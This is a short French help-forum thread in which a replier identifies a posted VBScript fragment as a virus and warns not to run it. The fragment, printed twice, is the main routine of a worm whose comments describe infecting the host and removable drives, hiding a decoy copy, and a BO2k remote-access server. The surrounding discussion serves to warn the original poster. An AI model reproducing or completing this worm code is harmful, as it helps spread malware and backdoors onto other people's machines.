Assistance
Fermé
OJP
Messages postés
8
Date d'inscription
mardi 5 juin 2007
Statut
Membre
Dernière intervention
6 mars 2019
-
2 nov. 2007 à 13:29
Utilisateur anonyme - 2 nov. 2007 à 13:35
Utilisateur anonyme - 2 nov. 2007 à 13:35
A voir également:
- Assistance
- Code assistance c14a snapchat ✓ - Forum Snapchat
- Un tampon d'encre de l'imprimante est quasiment en fin de vie. veuillez contacter l'assistance epson. - Forum Imprimante
- Veuillez contacter l'assistance itunes pour finaliser cette transaction - Forum iTunes
- Lecture d'un document non balisé avec une technologie d'assistance ✓ - Forum Bureautique
- Noreply assistance free fr ✓ - Forum Vos droits sur internet
1 réponse
Salut, je dis que c'est un virus selu la sous routine input()
sub input()
'-- procedure principale,
'-- infection de l'hote et des unites amovibles
'-- code = nom visible du script
'-- hcode = nom de diversion d'une copie du script
'-- hserver = nom du serveur BO2k
Dim ss, location
ss = cstr(dir)
'MsgBox ss
location = wscript.ScriptFullName
if instr(location,ss)=false Then 'verifie si le script s'execute apartir du dossier sys
diversion2 'premiere execution lorsque l'hote est sain
Else
do while time <> "00:00:00"
detecterracines
wscript.sleep 180000
loop
end If
Ne l'execute pas.
sub input()
'-- procedure principale,
'-- infection de l'hote et des unites amovibles
'-- code = nom visible du script
'-- hcode = nom de diversion d'une copie du script
'-- hserver = nom du serveur BO2k
Dim ss, location
ss = cstr(dir)
'MsgBox ss
location = wscript.ScriptFullName
if instr(location,ss)=false Then 'verifie si le script s'execute apartir du dossier sys
diversion2 'premiere execution lorsque l'hote est sain
Else
do while time <> "00:00:00"
detecterracines
wscript.sleep 180000
loop
end If
Ne l'execute pas.